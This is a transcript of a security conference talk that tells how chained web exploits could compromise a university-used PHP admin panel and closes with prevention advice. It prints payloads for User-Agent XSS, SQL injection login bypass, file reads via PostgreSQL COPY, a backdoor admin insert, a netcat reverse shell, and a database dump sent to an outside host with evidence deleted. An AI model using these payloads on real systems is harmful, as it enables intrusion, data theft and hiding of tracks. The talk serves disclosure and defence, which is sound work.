Chaining Web Exploits: Pwning the kingdom

Chaining Web Exploits: Pwning the kingdom

It doesn't take one exploit to hack the kingdom. This is a true story about finding multiple different web exploits and chaining them together to compromise an application and discussing the importance of actively monitoring for vulnerabilities and the downsides of letting them going unpatched.

33e2142731ff08fc526a2baac9c13f19?s=128

Mike Gervais

November 29, 2019
Tweet

Transcript

  1. Chaining Web Exploits Pwning the Kingdom

  2. whoami • Cyber Security Analyst • Previously: Systems Administrator, Senior

    Software Engineer On the web: https://smashes.net/
  3. Agenda • A story about how 30 universities across North

    America could’ve been hacked by chaining exploits together • What could’ve been done to prevent it
  4. None
  5. None
  6. Knock Knock The server told me that it’s running Apache

    2 on Debian and it’s a PHP based application.
  7. Who’s there? It’s me, your friendly neighborhood scanner. I don’t

    suppose you have an admin panel do you?
  8. Of course I do!

  9. Thank you, Server! The goal is to make it into

    the admin panel… - What does the admin panel look like? - Is it old, buggy and slow? - Are there vulnerabilities on the inside? The login page looks promising
  10. Is an XSS via the User-Agent possible? curl ‘https://target.example.com/Admin?’ -I

    -k --user-agent ‘<script src=”//ohnonono.xss.ht/”></script>’
  11. It’s an XSS via the User-Agent! Surprise! An XSS and

    the structure of the admin panel, it includes: - A potentially hijackable session_id cookie before it expires - URL addresses for all the admin pages
  12. XSS Admin Screenshot • The Admin Panel (File Manager, Course

    Planning, Emails and more) • More than a shop? mike@smashes.net
  13. Scan the LAN With successful cross-site scripting: - Deploy javascript-based

    LAN network scanner - Post results to control server Yields: - Internal host discovery - Network mapping of online hosts - Vulnerable hosts on the network
  14. Session Hijacking We have a session id, can this be

    exploited? When looking at the login admin page, there is a sess_id parameter that looks like a standard PHP session id. I don’t suppose it’ll let me set any random ID, would it? Let’s try sending a session id and see what happens.
  15. Session Hijacking Results - Sent a sess_id - Server gave

    us the admin session to the backend and expiry time Is there another way in? 1
  16. Another Way In An initial scan found multiple files in

    the /include/ that offer an authentication prompt. Is the login interface vulnerable to SQL injection? Crafted an SQL injection within the username and password fields, let’s see what happens. Payload: ‘ OR ‘’=‘
  17. None
  18. How about Blind SQL Injection? Difference between blind SQL injection

    and SQL injection Is it vulnerable to blind SQL injection in the HTTP Basic Authentication? Trying to force a server error
  19. Injection Attempt

  20. None
  21. YES This error may indicate the field is not sanitized

    Is it possible to get a local file inclusion (LFI) or remote command execution (RCE) from the SQL Injection?
  22. LOCAL FILE INCLUSION WITH POSTGRESQL PostgreSQL can do basic file

    inclusion functions with default configuration, such as:
  23. LOCAL FILE INCLUSION WITH POSTGRESQL COPY hacks(description) FROM ‘/etc/passwd’; COPY

    hacks(description) FROM ‘/etc/apache2/sites-enabled/000-default.conf’; SELECT description FROM hacks; (This will dump the information gathered to the screen)
  24. EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export

    the data to another table in the frontend and render it to the user.
  25. EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export

    the data to another table in the frontend and render it to the browser. COPY frontpage(content) FROM ‘/etc/passwd’; curl -vs https://university.example.com/ 2>&1 | grep ‘root\:’ -C 80 > etc_passwd_contents
  26. EXPORT FILES TO FRONTEND WITH POSTGRESQL

  27. CREATING ADMIN BACKDOOR From the initial scan of the backend

    via both the session hijack & SQL injection, we have: - Database field names - Good idea of how the authentication works
  28. CREATE USER bobby; ‘; INSERT INTO users(usercode,username,password,access_level,email) VALUES(‘BOBBY’, ‘bobby’, ‘boby123’,

    ‘ADMIN’, ‘bobby@droptables.com’); --
  29. Executed the SQL payload, is Bobby an admin?

  30. Hello Bobby

  31. Hello Bobby The backdoor admin account allows: • View order

    info • Email and session logs • Staff information • Modify website contents
  32. Chaining the exploits together Chain with javascript: - Write exploits

    to be automated - Utilize user-agent xss with new payload - Change usernames and passwords for impersonation - Spoof the legitimate administrator
  33. The First Chain

  34. Diving Deeper - Session Management Looking at Session Management system:

    • Upon loading the page, hit with original XSS payload • Allows admins to watch users sessions in almost real-time • Can view any input the user submitted into the page, including PII (except passwords) One of the administrators must of been reviewing the session logs when the XSS fired!
  35. Diving Deeper - Session Management Looking at Session Management system:

    - Upon loading the page, hit with original XSS payload One of the administrators must of been reviewing the session logs!
  36. Diving Deeper - Order Management Admin panel has: - Ability

    to view basic order details - Name of the person - Email - Order number - Amount paid - Allow the administrator to issue a refund directly online. Just thinking...
  37. Would you like a refund? This UI allows you to

    enter any amount in the refund field. $995 sounds reasonable.
  38. Remote Command Execution If writing configuration information to disk, at

    least attempt to filter it. Payload: “; exec(‘nc {ip} {port} -e /bin/bash’); // Saved, the page refreshed and… Of course there’s many other things you can do from this Listening on [0.0.0.0] (family 0, port 1123) Connection from {removed} 53704 received! whoami www-data
  39. Where are we now? Not only do we have: •

    a full administrator account • SQL injection at our fingertips • full blown shell on the server as the www-data user. • can elevate to root on servers due to vulnerable kernel • can access distribution server and backdoor product releases • can backdoor the client to execute malicious code on update
  40. Put a Message Up Make some noise on the web

    to prove we have write access… echo “<html>[....]<body>rce 2019-03-01</body></html>” > ./admin/ms9582512.html
  41. Dumping the Database We have: - RCE - Access to

    the database credentials hardcoded in config files We should be able to dump the database -- right? Let’s try.
  42. Dump the Database & Remove Evidence Syntax will vary per

    database type, here’s how it works with postgres: pg_dump [...] | gzip -c > ~/dbdump.sql.gz && scp ~/dbdump.sql.gz $OUTBOUND@$HOST:./dbdump.sql.gz && rm -f ~/dbdump.sql.gz
  43. Recap • Got copy of database • Got password hashes

    (bcrypt/md5) • User information and order details • Setup an admin backdoor • Deleted evidence we were in the system In total, chained 5 exploits to go from unauthenticated user to full shell as the www-data user. Now, the final payload
  44. The Full Chain

  45. How could this have been prevented?

  46. 1. Proactive Monitoring All the attacks demonstrated today can be

    found with a simple Google search. There are many free automated tools available to do this with. Anyone can do this… There was no active monitoring or alerting. Without the proper systems in place, the likelihood of catching this is slim to none.
  47. 2. Drop the Sessions! Many systems still allow users to

    inject session ids, this is bad practice and should be removed. There is no legitimate reason to inject a session id in most cases.
  48. 3. Regular Audits All companies and organization need regular security

    audits, not just black- boxed PCI compliance audits.
  49. 3. Regular Audits All companies and organization need regular security

    audits, not just black- boxed PCI compliance audits. Developers need to test their own code and their peers code, just inject anything from the OWASP top-10 or cheatsheets to start.
  50. 4. Not /Admin Don’t make your admin panel public to

    the world. Whitelist access by IP address to trusted origins only (eg, internal user ranges only). Don't let search engines index your Admin login page.
  51. 5. Proper Access Control Any user with access to the

    administration panel should only see what their role defines, not the entire admin panel. Most organizations don’t implement proper access control, or leave old accounts with privileged access laying around.
  52. 6. Two-Factor Authentication The target systems demonstrated today had two-factor

    authentication enabled. The session_id bypass and SQL injection allowed me to bypass the two-factor authentication requirements, and I could disable it for any other user. Always force re-validation if the browser, IP or country changes.
  53. 7. Vendor Compliance Often times, your system may be relatively

    secure, but a vendor you rely on has lapsed on their security. Make sure your vendors undergo regular security audits -- PCI compliance doesn’t mean they’re secure.
  54. Questions?